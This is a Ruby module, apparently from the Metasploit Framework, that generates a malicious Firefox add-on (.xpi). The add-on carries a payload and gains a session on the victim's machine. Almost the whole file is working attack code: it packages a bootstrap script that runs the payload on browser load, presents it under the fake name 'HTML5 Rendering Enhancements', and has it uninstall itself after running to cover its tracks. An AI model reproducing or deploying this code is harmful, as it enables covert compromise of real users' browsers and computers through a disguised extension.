# -*- coding: binary -*-

###
#
# The FirefoxAddonGenerator allows a firefox exploit module to serve a malicious .xpi
# addon that will gain a session.
#
###

module Msf
module Exploit::Remote::FirefoxAddonGenerator
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # Add in the supported datastore options
  def initialize(info={})
    super(update_info(info,
      'Platform'      => %w{ java linux osx solaris win },
      'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [
            'Universal (Javascript XPCOM Shell)', {
              'Platform' => 'firefox',
              'Arch' => ARCH_FIREFOX
            }
          ],
          [
            'Native Payload', {
              'Platform' => %w{ java linux osx solaris win },
              'Arch'     => ARCH_ALL
            }
          ]
        ],
      'DefaultTarget' => 0
    ))

    register_options([
      OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
      OptBool.new('AutoUninstall', [ true,
        "Automatically uninstall the addon after payload execution",
        true
      ])
    ], self.class)
  end

  # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
  # 'application/x-xpinstall' MIME type
  # @return nil if payload fails to generate
  def generate_addon_xpi(cli)
    zip = Rex::Zip::Archive.new
    xpi_guid = Rex::Text.rand_guid
    p = regenerate_payload(cli).encoded
    bootstrap_script = 'function startup(data, reason) {'
    bootstrap_script << run_payload

    if (datastore['AutoUninstall'])
      bootstrap_script << %Q|var xpi_guid = "#{xpi_guid}";|
      bootstrap_script <<  %q|
        function uninstallMe() {
          try { // Fx < 4.0
            Components.classes["@mozilla.org/extensions/manager;1"]
              .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
          } catch (e) {}
          try { // Fx 4.0 and later
            Components.utils.import("resource://gre/modules/AddonManager.jsm");
            AddonManager.getAddonByID(xpi_guid, function(addon) {
              addon.uninstall();
            });
          } catch (e) {}
        }
        uninstallMe();
      |
    end

    bootstrap_script << "}"

    zip.add_file('bootstrap.js', bootstrap_script)
    zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
    zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
  <Description about="urn:mozilla:install-manifest">
    <em:id>#{xpi_guid}</em:id>
    <em:name>#{datastore['ADDONNAME']}</em:name>
    <em:version>1.0</em:version>
    <em:bootstrap>true</em:bootstrap>
    <em:unpack>true</em:unpack>
    <em:targetApplication>
      <Description>
        <em:id>toolkit@mozilla.org</em:id>
        <em:minVersion>1.0</em:minVersion>
        <em:maxVersion>*</em:maxVersion>
      </Description>
    </em:targetApplication>
    <em:targetApplication>
      <Description>
        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
        <em:minVersion>1.0</em:minVersion>
        <em:maxVersion>*</em:maxVersion>
      </Description>
    </em:targetApplication>
    </Description>
</RDF>|)
    zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
  <script src="bootstrap.js"/>
  <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)
    zip
  end
end
end
